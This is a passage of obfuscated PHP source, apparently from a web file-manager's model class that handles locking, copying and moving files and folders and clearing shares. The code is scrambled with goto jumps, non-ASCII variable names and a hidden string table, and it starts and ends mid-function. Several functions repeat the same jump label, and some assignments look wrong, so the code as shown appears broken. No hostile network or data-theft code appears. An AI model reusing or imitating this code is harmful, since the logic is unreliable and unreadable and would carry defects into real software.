$c󾷣[$Bꍋ脩[422]][$Bꍋ脩[483]]) { $DĜڶ = $GLOBALS[$Bꍋ脩[16]][$Bꍋ脩[94]][$Bꍋ脩[484]]; if ($c󾷣[$Bꍋ脩[422]][$Bꍋ脩[485]] <= time() - $DĜڶ) { $this->metaSet($c󾷣[$Bꍋ脩[374]], $Bꍋ脩[483], null); $this->metaSet($c󾷣[$Bꍋ脩[374]], $Bꍋ脩[485], null); unset($c󾷣[$Bꍋ脩[422]][$Bꍋ脩[483]]); continue; } $bƢ۸ = $c󾷣[$Bꍋ脩[422]][$Bꍋ脩[483]]; $c󾷣[$Bꍋ脩[422]][$Bꍋ脩[486]] = Model($Bꍋ脩[482])->getInfoSimpleOuter($bƢ۸); } } } public function parentLevelArray($Bޡ) { $Dˆ =& $_SERVER[ȦÆ]; $Bޡ = explode($Dˆ[57], trim($Bޡ, $Dˆ[57])); return array_remove_value($Bޡ, $Dˆ[473]); } public function listAll($fŔ) { goto d; B˼Ֆ: $EȲƿ = $B[491]; $b˞ؿ = "\114\105\x46\x54\40\x4a\x4f\x49\116\x20{$this->tablePrefix}\x69\157\137\146\151\154\145\x20\x66\x69\x6c\x65\40\x6f\156\x20\163\x6f\165\162\143\x65\56\x66\x69\154\145\x49\104\40\x3d\40\146\151\x6c\x65\x2e\x66\x69\154\145\111\x44"; $dɛ = $this->alias($B[492])->field($EȲƿ)->where($F碘)->join($b˞ؿ)->select(); goto aֵ; aֵ: $this->_listAppendAuth($dɛ); $this->_listAppendUser($dɛ); $this->_listAppendPath($dɛ); goto B; d: $B =& $_SERVER[ȦÆ]; $a₦ = $this->sourceInfo($fŔ); $F碘 = array($B[487] => array($B[488], $a₦[$B[464]] . $fŔ . $B[489]), $B[490] => 0); goto B˼Ֆ; C: $Eћ = array(); foreach ($dɛ as $A => $B᭲) { goto FǗ; FǗ: $F = $this->parentLevelArray($B᭲[$B[464]]); array_shift($F); $F = $bݔ; goto eת; c򍧛: $F = str_replace($B[472], $B[18], $F); $F = str_replace($B[472], $B[18], $F); $c = array($B[392] => str_replace($B[472], $B[18], $F), $B[493] => intval($B᭲[$B[375]]), $B[396] => $this->pathInfoFilter($B᭲, !0)); goto f; eת: for ($Dύ = 0; $Dύ < count($F); $Dύ++) { $F .= $dɛ[$F[$Dύ]][$B[38]] . $B[18]; } $F .= $B᭲[$B[38]]; if ($B᭲[$B[375]]) { $F .= $B[18]; } goto c򍧛; f: if (!$B᭲[$B[375]]) { $c[$B[424]] = $B᭲[$B[424]]; $c[$B[494]] = $B᭲[$B[85]]; } $Eћ[] = $c; goto bߕ; bߕ: } return $Eћ; goto B; B: $dɛ = array_to_keyvalue($dɛ, $B[374]); $bݔ = "\57{$a₦[$B[38]]}\x2f"; $bݔ = $bݔ == $B[472] ? $B[18] : $bݔ; goto C; B: } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($Aç) { goto F; F: $Eǂ = 1; $this->_lockEvent($Aç, array($b[496], $b[497]), $Eǂ); $this->_lockParent($Aç, array($b[497]), $Eǂ); goto bȄ; F: $b =& $_SERVER[ȦÆ]; if (!$this->allowLock()) { return; } $this->_lockCheck($b[495], $Aç); goto F; bȄ: $this->_lockEvent($Aç, array($b[498], $b[499]), $Eǂ); $this->_lockCheckEnd($b[495], $Aç); goto c; c: } public function lockCopyEnd($fӖš) { $dۅ =& $_SERVER[ȦÆ]; if (!$this->allowLock()) { return; } $F° = 0; $this->_lockEvent($fӖš, array($dۅ[496], $dۅ[497]), $F°); $this->_lockParent($fӖš, array($dۅ[497]), $F°); $this->_lockEvent($fӖš, array($dۅ[498], $dۅ[499]), $F°); } public function lockWriteStart($A, $E͟ŵ = '') { goto fՍ; fՍ: $dʘ =& $_SERVER[ȦÆ]; if (!$this->allowLock()) { return; } $this->_lockCheck($dʘ[496], $A); goto F󚳸; F󚳸: $FÊ = 1; $this->_lockKey($dʘ[500] . $A . $dʘ[101] . $E͟ŵ, $FÊ); $this->_lockEvent($A, array($dʘ[495], $dʘ[497]), $FÊ); goto fھ; fھ: $this->_lockParent($A, array($dʘ[495], $dʘ[497]), $FÊ); $this->_lockCheckEnd($dʘ[496], $A); goto c۹ء; c۹ء: } public function lockWriteEnd($F͈, $bფ = '') { $Fއݺ =& $_SERVER[ȦÆ]; if (!$this->allowLock()) { return; } $d = 0; $this->_lockKey($Fއݺ[500] . $F͈ . $Fއݺ[101] . $bფ, $d); $this->_lockEvent($F͈, array($Fއݺ[495], $Fއݺ[497]), $d); $this->_lockParent($F͈, array($Fއݺ[495], $Fއݺ[497]), $d); } public function lockMoveStart($bˣˋ) { goto C񈿓; c: $this->_lockParent($bˣˋ, array($A۩[495], $A۩[497]), $f׮); $this->_lockEvent($bˣˋ, array($A۩[502], $A۩[498], $A۩[499]), $f׮); $this->_lockCheckEnd($A۩[497], $bˣˋ); goto E҉; a: $f׮ = 1; $this->_lockKey($A۩[501] . $bˣˋ, $f׮); $this->_lockEvent($bˣˋ, array($A۩[495], $A۩[496]), $f׮); goto c; C񈿓: $A۩ =& $_SERVER[ȦÆ]; if (!$this->allowLock()) { return; } $this->_lockCheck($A۩[497], $bˣˋ); goto a; E҉: } public function lockMoveEnd($d䐄) { goto Dڎ; e٧: $this->_lockKey($f[501] . $d䐄, $dߝ굂); $this->_lockEvent($d䐄, array($f[495], $f[496]), $dߝ굂); $this->_lockParent($d䐄, array($f[495], $f[497]), $dߝ굂); goto Eɫа; Eɫа: $this->_lockEvent($d䐄, array($f[502], $f[498], $f[499]), $dߝ굂); goto B; Dڎ: $f =& $_SERVER[ȦÆ]; if (!$this->allowLock()) { return; } $dߝ굂 = 0; goto e٧; B: } private function _lockCheck($Bև, $c) { goto Bə; fϴ: $eȪ = array_reverse($this->parentLevelArray($E[$dͷ[464]])); foreach ($eȪ as $D՛Ã) { $A߾Ԟ = $Bև . $dͷ[504] . $D՛Ã; if (CacheLock::lockGet($dͷ[505] . $A߾Ԟ)) { $E = $this->sourceInfo($D՛Ã); CacheLock::setErrorMsg($dͷ[163] . htmlspecialchars($E[$dͷ[38]]) . $dͷ[481] . $bڜ); $this->_lockKey($A߾Ԟ, 1); $this->_lockKey($A߾Ԟ, 0); } } goto fل列; Cܠ: $this->_lockTimeStart[$A߾Ԟ] = timeFloat(); if (!is_array($E)) { return; } $bڜ = LNG($dͷ[503]); goto B; B: CacheLock::setErrorMsg($dͷ[163] . htmlspecialchars($E[$dͷ[38]]) . $dͷ[481] . $bڜ); $this->_lockKey($A߾Ԟ, 1); $this->_lockKey($A߾Ԟ, 0); goto fϴ; Bə: $dͷ =& $_SERVER[ȦÆ]; $E = $this->sourceInfo($c); $A߾Ԟ = $Bև . $dͷ[101] . $c; goto Cܠ; fل列: } private function _lockCheckEnd($DⒿ, $cŐ) { goto eϹ; c: if ($e > 0.5) { unset(self::$cacheSourceInfo[$eޟ[415] . $cŐ]); } $cȅ՝ = $this->sourceInfo($cŐ); if (!$cȅ՝) { show_json(LNG($eޟ[110]), !1); } goto E۽; aǼ: if (!isset($this->_lockTimeStart[$Eވ㉇])) { return; } $e = timeFloat() - $this->_lockTimeStart[$Eވ㉇]; unset($this->_lockTimeStart[$Eވ㉇]); goto c; eϹ: $eޟ =& $_SERVER[ȦÆ]; $Eވ㉇ = $DⒿ . $eޟ[101] . $cŐ; CacheLock::setErrorMsg($eޟ[366]); goto aǼ; E۽: } private function _lockParent($D̮⇵, $Bߡ, $CѓӐ) { if (!$this->autoLockSet) { return; } $Dź = $this->sourceInfo($D̮⇵); if (!is_array($Dź)) { return; } $AۮҨ = array_reverse($this->parentLevelArray($Dź[$_SERVER[ȦÆ][464]])); foreach ($AۮҨ as $Aٵ) { $this->_lockEvent($Aٵ, $Bߡ, $CѓӐ); } } private function _lockEvent($aҨ, $FǑԊ, $E빢) { $a =& $_SERVER[ȦÆ]; if (!$this->autoLockSet) { return; } foreach ($FǑԊ as $D) { $BϘ = $D . $a[101] . $aҨ; if ($E빢 && CacheLock::lockGet($a[505] . $BϘ)) { continue; } $this->_lockKey($BϘ, $E빢); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($B꒭ָ, $A󫗊 = 1) { $Fߨ = $_SERVER[ȦÆ][505] . md5($B꒭ָ); if ($A󫗊) { if (isset(self::$_lockItemArr[$Fߨ])) { return; } self::$_lockItemArr[$Fߨ] = 1; CacheLock::lock($Fߨ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$Fߨ])) { return; } unset(self::$_lockItemArr[$Fߨ]); CacheLock::unlock($Fߨ); } } public function isParentOf($bǑ, $A) { goto Fٜ; Fٜ: $FĿ =& $_SERVER[ȦÆ]; $D = $this->sourceInfo($bǑ); $Eڴ = $this->sourceInfo($A); goto aƥ; aƥ: $c = $D[$FĿ[464]] . $D[$FĿ[374]] . $FĿ[57]; $E = $Eڴ[$FĿ[464]] . $Eڴ[$FĿ[374]] . $FĿ[57]; $EΞ = strpos($E, $c) === 0; goto c; c: return $EΞ; goto cɯ; cɯ: } private $targetIsDelete = 0; public function copy($f, $cԦ榯, $bص = REPEAT_REPLACE, $aǼН = '') { goto Dֳ; Dʐ: $this->targetIsDelete = intval($fު[$aтݐ[402]]); $d = $this->fileNameExistCache($cԦ榯, $fު[$aтݐ[38]]); $C = $this->_copy($f, $cԦ榯, $bص, $a铼, !0, $aǼН); goto cĉ; Dи: $this->saveAll($a铼[$aтݐ[508]]); Model($aтݐ[173])->linkAdd($a铼[$aтݐ[506]]); $this->folderSizeReset($cԦ榯); goto Bֳ; cĉ: $this->_childrenListClear(); $this->lockCopyEnd($f); $this->lockWriteEnd($cԦ榯, $c򚪉); goto b̪ĉ; Bֳ: $this->updateModifyTime($cԦ榯); return $C; goto D߾; b̪ĉ: if ($fު[$aтݐ[375]] == $aтݐ[93] && $d == $C) { $this->folderSizeResetChildren($d); } Model($aтݐ[509])->addAll($a铼[$aтݐ[507]], array(), !0); if ($d != $C || $fު[$aтݐ[375]] == $aтݐ[93]) { Model($aтݐ[510])->eventCopy($C); } goto Dи; fǍٝ: $this->lockCopyStart($f); $this->lockWriteStart($cԦ榯, $c򚪉); $a铼 = array($aтݐ[506] => array(), $aтݐ[507] => array(), $aтݐ[508] => array()); goto Dʐ; aЋ: if (!$fު || !$A矊 || $A矊[$aтݐ[375]] != $aтݐ[93]) { return !1; } if ($this->isParentOf($f, $cԦ榯)) { return !1; } $c򚪉 = $aǼН ? $aǼН : $fު[$aтݐ[38]]; goto fǍٝ; Dֳ: $aтݐ =& $_SERVER[ȦÆ]; $fު = $this->sourceInfo($f); $A矊 = $this->sourceInfo($cԦ榯); goto aЋ; D߾: } private function _copy($c݆, $cͩÃ, $Bڐ, &$A׫, $AՅ͆, $A = '') { goto C–砘; C–砘: $f =& $_SERVER[ȦÆ]; $cʓ = $this->sourceInfoCache($c݆); $F = $cʓ[$f[375]] == $f[93]; goto bٟˑ; fب: if (!$fʡ) { return $this->_copyCreate($c݆, $cͩÃ, $fٵǷ, $A׫); } $C = $fʡ; if ($F) { if ($Bڐ == REPEAT_RENAME_FOLDER) { $fٵǷ = $this->fileNameAutoCache($cͩÃ, $fٵǷ, $Bڐ, $F); $C = $this->_copyCreate($c݆, $cͩÃ, $fٵǷ, $A׫); } else { $dА = $this->_childrenList($c݆); foreach ($dА as $fƩ) { $this->_copy($fƩ[$f[374]], $fʡ, $Bڐ, $A׫, !1); } } } else { if ($Bڐ == REPEAT_RENAME || $Bڐ == REPEAT_RENAME_FOLDER) { $fٵǷ = $this->fileNameAutoCache($cͩÃ, $fٵǷ, $Bڐ, $F); $C = $this->_copyCreate($c݆, $cͩÃ, $fٵǷ, $A׫); } else { if ($Bڐ == REPEAT_REPLACE) { $A鵞 = $this->sourceInfoCache($fʡ); $aϨ = $this->fileHistory($A鵞, $cʓ[$f[424]], $cʓ[$f[87]]); if ($aϨ) { $A׫[$f[506]][] = $cʓ[$f[424]]; } } else { if ($Bڐ == REPEAT_SKIP) { } } } Hook::trigger($f[511], array($f[512], $cʓ, 0)); } goto C﯅ؚ; bٟˑ: $fٵǷ = $A ? $A : $cʓ[$f[38]]; $fʡ = $this->fileNameExistCache($cͩÃ, $fٵǷ); if ($AՅ͆) { $this->_childrenAllMake($c݆); if ($F && $fʡ) { $this->_childrenAllMake($fʡ); } } goto fب; C﯅ؚ: return $C; goto F; F: } private function _copyCreate($c, $f, $Eῗ, &$b̫) { goto a̲; b: $this->addAll($bڇ娷, array(), !1); $f = $this->where(array($cϹ[466] => $c))->select(); $fઅ = $this->_childrenMakeRelation($E䏰, $f); goto eԪ; dօ: $B = $this->_makeItemData($fꙟ, $f, $Eῗ); Hook::trigger($cϹ[513], $B); Hook::trigger($cϹ[514], array($cϹ[515], $B, 0)); goto A; E: $A = $this->sourceInfo($c); foreach ($E䏰 as $AŲ) { $C = $this->_makeItemData($AŲ, $A, $AŲ[$cϹ[38]]); $C[$cϹ[464]] = $AŲ[$cϹ[464]]; $bڇ娷[] = $C; } $this->chunkEventSet($cϹ[516], array($cϹ[517], $B, $b𦔎)); goto b; fꄏ: $this->chunkEventSet($cϹ[520], array($cϹ[521], $B, $b𦔎)); $this->saveAll($eÚ); return $c; goto E; aۈ: foreach ($f as $AŲ) { $fӬ = $AŲ[$cϹ[374]]; $e蟃 = $this->_childrenMatch($fઅ, $AŲ, $A); $E̷׽[] = array($cϹ[374], $fӬ, $cϹ[466], $e蟃[$cϹ[466]]); $eÚ[] = array($cϹ[374], $fӬ, $cϹ[464], $e蟃[$cϹ[464]]); $this->_copyApplyMeta($AŲ, $b̫); if ($AŲ[$cϹ[375]] != $cϹ[93]) { $b̫[$cϹ[506]][] = $AŲ[$cϹ[424]]; } } $this->chunkEventSet($cϹ[518], array($cϹ[519], $B, $b𦔎)); $this->saveAll($E̷׽); goto fꄏ; eԪ: $fઅ[$c] = $c; $E̷׽ = array(); $eÚ = array(); goto aۈ; A: $c = $this->add($B); $b׈ = array($cϹ[374] => $c, $cϹ[38] => $Eῗ); $this->_copyApplyMeta($b׈, $b̫); goto A; eâԅ: $this->_childrenListAll($c, $E䏰); $b𦔎 = count($E䏰); if ($b𦔎 == 0) { return $c; } goto E; A: if ($fꙟ[$cϹ[375]] != $cϹ[93]) { $b̫[$cϹ[506]][] = $fꙟ[$cϹ[424]]; return $c; } $E䏰 = array(); $bڇ娷 = array(); goto eâԅ; a̲: $cϹ =& $_SERVER[ȦÆ]; $fꙟ = $this->sourceInfoCache($c); $f = $this->sourceInfoCache($f); goto dօ; E: } private function _childrenMakeRelation($dް戝, $CՂ) { $cˣ =& $_SERVER[ȦÆ]; $f = array(); $Aʦ = array(); foreach ($dް戝 as $f) { $cҤ = $f[$cˣ[38]] . $cˣ[18] . $f[$cˣ[464]]; $f[$cҤ] = $f[$cˣ[374]]; } foreach ($CՂ as $f) { $cҤ = $f[$cˣ[38]] . $cˣ[18] . $f[$cˣ[464]]; $fӍҫ = $f[$cҤ]; $Aʦ[$fӍҫ] = $f[$cˣ[374]]; } return $Aʦ; } private function _childrenMatch($cȒ, $A྅, $Aݶҵ) { goto b; b: $C䰿 =& $_SERVER[ȦÆ]; $Fȶԇ蓶 = $Aݶҵ[$C䰿[464]]; $b = $this->parentLevelArray($A྅[$C䰿[464]]); goto B; EӋ: $B̢ = $DŐ[count($DŐ) - 1]; return array($C䰿[466] => $B̢, $C䰿[464] => $Fȶԇ蓶); goto D΄י; B: foreach ($b as $C) { if (isset($cȒ[$C])) { $Fȶԇ蓶 .= $cȒ[$C] . $C䰿[522]; } } $Fȶԇ蓶 = rtrim($Fȶԇ蓶, $C䰿[57]) . $C䰿[57]; $DŐ = $this->parentLevelArray($Fȶԇ蓶); goto EӋ; D΄י: } private function _makeItemData($b, $D, $Dڲ) { $Fʂ =& $_SERVER[ȦÆ]; $CÚ = array($Fʂ[523] => $b[$Fʂ[375]], $Fʂ[391] => $Dڲ, $Fʂ[524] => $b[$Fʂ[377]], $Fʂ[425] => $b[$Fʂ[424]], $Fʂ[525] => $b[$Fʂ[87]], $Fʂ[526] => $D[$Fʂ[376]], $Fʂ[527] => $D[$Fʂ[461]], $Fʂ[528] => USER_ID, $Fʂ[529] => USER_ID, $Fʂ[373] => $D[$Fʂ[374]], $Fʂ[530] => $D[$Fʂ[464]] . $D[$Fʂ[374]] . $Fʂ[57], $Fʂ[401] => 0, $Fʂ[531] => $Fʂ[43]); return $CÚ; } private function _copyApplyMeta($Bʫ, &$D堞) { $Dȇ =& $_SERVER[ȦÆ]; $d« = $Bʫ[$Dȇ[374]]; $d۹ = $Bʫ[$Dȇ[38]]; if (!isset($Bʫ[$Dȇ[532]]) || !$Bʫ[$Dȇ[532]] || $Bʫ[$Dȇ[532]] == $Dȇ[473]) { $D堞[$Dȇ[508]][] = array($Dȇ[374], $d«, $Dȇ[532], short_id($d«)); } if (Input::check($d۹, $Dȇ[533])) { $D堞[$Dȇ[507]][] = array($Dȇ[374] => $d«, $Dȇ[99] => $Dȇ[421], $Dȇ[364] => str_replace($Dȇ[60], $Dȇ[43], Pinyin::encode($d۹))); $D堞[$Dȇ[507]][] = array($Dȇ[374] => $d«, $Dȇ[99] => $Dȇ[420], $Dȇ[364] => Pinyin::encode($d۹, $Dȇ[534])); } } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($dς) { goto aׯ; Dˉ: $A = array_to_keyvalue($A, $e痹[374]); foreach ($A as $e) { $dɉգ = $e[$e痹[466]]; $dς = $e[$e痹[374]]; if (!isset($this->_childrenListCache[$dς]) && $e[$e痹[375]] == $e痹[93]) { $this->_childrenListCache[$dς] = array(); } if (!isset($this->_childrenListCache[$dɉգ])) { $this->_childrenListCache[$dɉգ] = array(); } $this->_childrenListCache[$dɉգ][$dς] = $e; $this->_childrenItemCache[$dς] = $e; } goto eȼ󊘨; B: $EĆ = array($e痹[464] => array($e痹[488], $C[$e痹[464]] . $dς . $e痹[489]), $e痹[402] => $this->targetIsDelete); $A = $this->field($f²)->where($EĆ)->select(); if (!$A) { return; } goto Dˉ; aׯ: $e痹 =& $_SERVER[ȦÆ]; $C = $this->sourceInfo($dς); $f² = $e痹[535]; goto B; eȼ󊘨: } private function _childrenListAll($e, &$F) { $E͢ =& $_SERVER[ȦÆ]; if (!isset($this->_childrenListCache[$e])) { return; } $C = $this->_childrenListCache[$e]; foreach ($C as $cě => $C鞛) { $F[$cě] = $C鞛; if ($C鞛[$E͢[375]] == $E͢[93]) { $this->_childrenListAll($cě, $F); } } } private function sourceInfoCache($d) { if (isset($this->_childrenItemCache[$d])) { return $this->_childrenItemCache[$d]; } return $this->sourceInfo($d); } private function _childrenList($b) { if (isset($this->_childrenListCache[$b])) { return $this->_childrenListCache[$b]; } return $this->_childrenListSelect($b); } private function _childrenListSelect($Bٜ) { goto Eݖ; A³: foreach ($Aґʳ as $Bٜ => $b) { $this->_childrenItemCache[$Bٜ] = $b; } return $Aґʳ; goto Dڬ; Eݖ: $D =& $_SERVER[ȦÆ]; $E۬ = array($D[466] => $Bٜ, $D[402] => $this->targetIsDelete); $f = $this->where($E۬)->select(); goto Cً΂; Cً΂: $f = $f ? $f : array(); $Aґʳ = array_to_keyvalue($f, $D[374]); $this->_childrenListCache[$Bٜ] = $Aґʳ; goto A³; Dڬ: } private function fileNameExistCache($d, $AÔ) { $E֡Ɵ =& $_SERVER[ȦÆ]; $AÔ = strtolower($AÔ); $C = $this->_childrenList($d); foreach ($C as $fɎ) { if ($AÔ == strtolower($fɎ[$E֡Ɵ[38]])) { return $fɎ[$E֡Ɵ[374]]; } } return !1; } private function fileNameAutoCache($Eև, $aՉ, $fᢚĆ, $d㊎Ʉ) { $b =& $_SERVER[ȦÆ]; $f傅 = $this->_childrenList($Eև); $c = array_to_keyvalue($f傅, $b[43], $b[38]); return $this->fileNameAutoGet($c, $aՉ, $fᢚĆ, $d㊎Ʉ); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($A䤎, $B, $B鱍 = REPEAT_REPLACE, $f = '') { goto b; Cȧ: $a = $this->pathInfoMore($A䤎); if ($this->isParentOf($A䤎, $B)) { return !1; } if (!$eđĉİ || !$bӉ || $bӉ[$DϏ[375]] != $DϏ[93]) { return !1; } goto D; fƫӈ: $C = array($DϏ[506] => array(), $DϏ[538] => !1); $this->clearShare($A䤎, $B); $DÌ = $this->fileNameExistCache($B, $eđĉİ[$DϏ[38]]); goto C; b: $DϏ =& $_SERVER[ȦÆ]; $eđĉİ = $this->sourceInfo($A䤎); $bӉ = $this->sourceInfo($B); goto Cȧ; D: Hook::trigger($DϏ[536], $a); $this->targetIsDelete = intval($eđĉİ[$DϏ[402]]); if ($eđĉİ[$DϏ[466]] == $B && $f != $eđĉİ[$DϏ[38]]) { $cÌǗ = $this->fileNameExist($B, $f); if ($cÌǗ && $eđĉİ[$DϏ[375]] == $DϏ[473]) { goto d; c: $this->removeNow($A䤎, !1); $this->folderSizeReset($B); Hook::trigger($DϏ[537], $a); goto dݕ; d: $e冟أ = $this->sourceInfo($cÌǗ); $e̎ = $this->fileHistory($e冟أ, $eđĉİ[$DϏ[424]], $eđĉİ[$DϏ[87]]); if (!$e̎) { Model($DϏ[427])->remove($eđĉİ[$DϏ[424]]); } goto c; dݕ: return $cÌǗ; goto eȍ; eȍ: } } goto Dл; Aθ•: Model($DϏ[173])->linkAdd($C[$DϏ[506]]); if ($DÌ && $C[$DϏ[538]]) { $this->removeNow($A䤎, !1); } $this->lockMoveEnd($A䤎); goto f; f: $this->lockWriteEnd($B, $D); $this->folderSizeReset($eđĉİ[$DϏ[466]]); $this->folderSizeReset($B); goto B; Dл: $D = $f ? $f : $eđĉİ[$DϏ[38]]; $this->lockMoveStart($A䤎); $this->lockWriteStart($B, $D); goto fƫӈ; B: $bƉų = array($eđĉİ[$DϏ[466]], $B); if ($eđĉİ[$DϏ[375]] == $DϏ[93]) { $bƉų[] = $A䤎; } $this->updateModifyTime($bƉų); goto a닲; C: $F = $this->_move($A䤎, $B, $B鱍, $C, $f); $this->sourceCacheClear(); if ($eđĉİ[$DϏ[375]] == $DϏ[93] && $DÌ) { $this->folderSizeResetChildren($F); } goto Aθ•; a닲: Model($DϏ[510])->eventMove($A䤎, $eđĉİ[$DϏ[466]], $B); Hook::trigger($DϏ[537], $a); return $F; goto D; D: } private function _move($aÇě, $bޏ, $E۟, &$Aś, $FԖĻ = '') { goto d’ׄ; D޵: return $eº; goto FΒ΂; DзҞ: $Fն = !1; if ($D) { if ($E۟ == REPEAT_RENAME_FOLDER) { $B = $this->fileNameAuto($bޏ, $B, $E۟, $D); $eº = $this->_moveForce($aÇě, $bޏ, $B); } else { if ($E۟ == REPEAT_RENAME_FOLDER) { $E۟ = REPEAT_RENAME; } $Cӑʞ = $this->_childrenListSelect($aÇě); foreach ($Cӑʞ as $Eֈ̻) { $this->_move($Eֈ̻[$A[374]], $Cָӊ, $E۟, $Aś); } $Fն = !0; } } else { if ($E۟ == REPEAT_SKIP) { $Fն = !0; } else { if ($E۟ == REPEAT_RENAME || $E۟ == REPEAT_RENAME_FOLDER) { $B = $this->fileNameAuto($bޏ, $B, $E۟, $D); $eº = $this->_moveForce($aÇě, $bޏ, $B); } else { if ($E۟ == REPEAT_REPLACE) { $e؎ = $this->sourceInfoCache($Cָӊ); $Fʓ = $this->fileHistory($e؎, $C[$A[424]], $C[$A[87]]); if ($Fʓ) { $Aś[$A[506]][] = $C[$A[424]]; } else { $Fն = !0; } } } } } if ($Fն && !$Aś[$A[538]]) { $Aś[$A[538]] = !0; } goto D޵; d’ׄ: $A =& $_SERVER[ȦÆ]; $C = $this->sourceInfo($aÇě); $D = $C[$A[375]] == $A[93]; goto Dʌ; b: $this->lockWriteStart($bޏ, $B); if (!$Cָӊ) { return $this->_moveForce($aÇě, $bޏ, $B); } $eº = $Cָӊ; goto DзҞ; Dʌ: $B = $FԖĻ ? $FԖĻ : $C[$A[38]]; $Cָӊ = $this->fileNameExistCache($bޏ, $B); $this->lockMoveStart($aÇě); goto b; FΒ΂: } private function _moveForce($cע, $Eۡ, $a֪) { goto aߑԉ; aߑԉ: $Fϓ =& $_SERVER[ȦÆ]; $a֐Њ = $this->sourceInfo($cע); $Aּڐ = $this->sourceInfo($Eۡ); goto fʌŨ; fʌŨ: $c٭܈ = $a֐Њ[$Fϓ[375]] == $Fϓ[93]; $a = array($Fϓ[373] => $Aּڐ[$Fϓ[374]], $Fϓ[530] => $Aּڐ[$Fϓ[464]] . $Aּڐ[$Fϓ[374]] . $Fϓ[57], $Fϓ[526] => $Aּڐ[$Fϓ[376]], $Fϓ[527] => $Aּڐ[$Fϓ[461]], $Fϓ[529] => USER_ID, $Fϓ[391] => $a֪); $Cޑ = $a֐Њ[$Fϓ[376]] == SourceModel::TYPE_GROUP && $Aּڐ[$Fϓ[376]] == SourceModel::TYPE_GROUP && $a֐Њ[$Fϓ[461]] == $Aּڐ[$Fϓ[461]]; goto Cۘ; Cۘ: if (!$Cޑ) { Model($Fϓ[459])->authClear($cע); } $Dϑ = $a֐Њ[$Fϓ[402]] == $Fϓ[93] && $Aּڐ[$Fϓ[402]] != $Fϓ[93]; if ($Dϑ) { $a[$Fϓ[401]] = 0; } goto b; b: if ($c٭܈) { $Bԯ = array($Fϓ[530] => array($Fϓ[488], $a֐Њ[$Fϓ[464]] . $a֐Њ[$Fϓ[374]] . $Fϓ[489])); $f㞻 = $a֐Њ[$Fϓ[464]] . $a֐Њ[$Fϓ[374]] . $Fϓ[57]; $Bޞ = $Aּڐ[$Fϓ[464]] . $Aּڐ[$Fϓ[374]] . $Fϓ[57] . $a֐Њ[$Fϓ[374]] . $Fϓ[57]; $e墮 = array($Fϓ[530] => array($Fϓ[539], "\162\145\x70\x6c\141\x63\145\50\160\x61\x72\x65\156\164\x4c\x65\166\x65\x6c\x2c\47{$f㞻}\47\54\47{$Bޞ}\47\x29"), $Fϓ[526] => $Aּڐ[$Fϓ[376]], $Fϓ[527] => $Aּڐ[$Fϓ[461]]); if ($Dϑ) { $e墮[$Fϓ[401]] = 0; } $this->where($Bԯ)->data($e墮)->save(); } $this->where(array($Fϓ[388] => $cע))->data($a)->save(); return $cע; goto a̫; a̫: } private function clearShare($aڤӸ, $F̨) { goto d; Eچ: if (!$CЄ) { return; } $CЄ = array_to_keyvalue($CЄ, $f։[43], $f։[446]); $a = array($f։[446] => array($f։[17], $CЄ)); goto B䄘; B䄘: Model($f։[541])->where($a)->save(array($f։[453] => 0)); Model($f։[542])->where($a)->delete(); goto B錆Ϲ; e´Ό: if (!$eė) { return; } $a = array($f։[374] => array($f։[17], $eė), $f։[453] => 1); $CЄ = Model($f։[541])->field($f։[446])->where($a)->select(); goto Eچ; d: $f։ =& $_SERVER[ȦÆ]; $F߈ = $this->sourceInfo($aڤӸ); $cĿ = $this->sourceInfo($F̨); goto fԥ; fԥ: if ($F߈[$f։[461]] == $cĿ[$f։[461]] && $F߈[$f։[376]] == $f։[540]) { return; } $a = array($f։[464] => array($f։[488], $F߈[$f։[464]] . $aڤӸ . $f։[489])); $eė = $this->field($f։[388])->where($a)->getField($f։[374], !0); goto e´Ό; B錆Ϲ: } public function copyFolderFromIO($c⟐, $Eҟ̯, $c߈ݻ, $E܉, $DՑж, $DȚ꫒ = false) { goto e; f: if ($D鏍) { $this->_childrenAllMake($D鏍); } Hook::trigger($a[544]); $this->_copyChildTo($c⟐, $Eҟ̯, $bΑ쑓, $E܉, $d, $DՑж); goto D窕̬; C𧨈ʼ: Model($a[427])->linkAdd($d[$a[506]]); Model($a[427])->remove($d[$a[543]]); $this->folderSizeReset($c߈ݻ); goto B篃; B篃: $this->updateModifyTime($c߈ݻ); return $bΑ쑓; goto a旵; a: Model($a[509])->addAll($d[$a[507]], array(), !0); Model($a[510])->eventCopy($bΑ쑓); $this->saveAll($d[$a[508]]); goto C𧨈ʼ; cõ: $D鏍 = $this->fileNameExist($c߈ݻ, $BǞ쎳); $bΑ쑓 = $this->mkdir($c߈ݻ, $BǞ쎳, $E܉); if (!$D鏍 || $E܉ == REPEAT_RENAME_FOLDER) { $E܉ = !1; } goto f; e: $a =& $_SERVER[ȦÆ]; $d = array($a[507] => array(), $a[508] => array(), $a[506] => array(), $a[543] => array()); $BǞ쎳 = $DȚ꫒ ? $DȚ꫒ : $c⟐->getPathName($c⟐->pathThis($Eҟ̯)); goto cõ; D窕̬: Hook::trigger($a[545]); if ($bΑ쑓) { $this->folderSizeResetChildren($bΑ쑓); } $this->_childrenListClear(); goto a; a旵: } private function _copyChildTo($EΌ, $F, $FÅ, $eǷ, &$Aʽ, $Bϊ) { goto cо; Bɳܮ: $dŭ = $this->_childrenList($FÅ); $dŭ = array_to_keyvalue($dŭ, $F[38]); foreach ($f as $FՂ) { $D = $dŭ[$FՂ[$F[38]]]; $Aۨ = $D[$F[374]]; $this->_copyApplyMeta($D, $Aʽ); if ($FՂ[$F[39]] == $F[86]) { $FՂ[$F[85]] = $EΌ->getPathInner($FՂ[$F[85]]); $this->_copyChildTo($EΌ, $FՂ[$F[85]], $Aۨ, $eǷ, $Aʽ, $Bϊ); } } goto e; Eٵ˪: foreach ($f as &$FՂ) { goto f̐; Dॽ: $FՂ[$F[87]] = _get($FՂ, $F[87], 0); $FՂ[$F[424]] = _get($FՂ, $F[424], 0); if (!isset($FՂ[$F[546]]) && $FՂ[$F[424]]) { $Aʽ[$F[543]][] = $FՂ[$F[424]]; } goto Eޑ; Eޑ: if ($eǷ) { $A = $this->fileNameExistCache($FÅ, $FՂ[$F[38]]); if ($A) { if ($FՂ[$F[375]] || $eǷ == 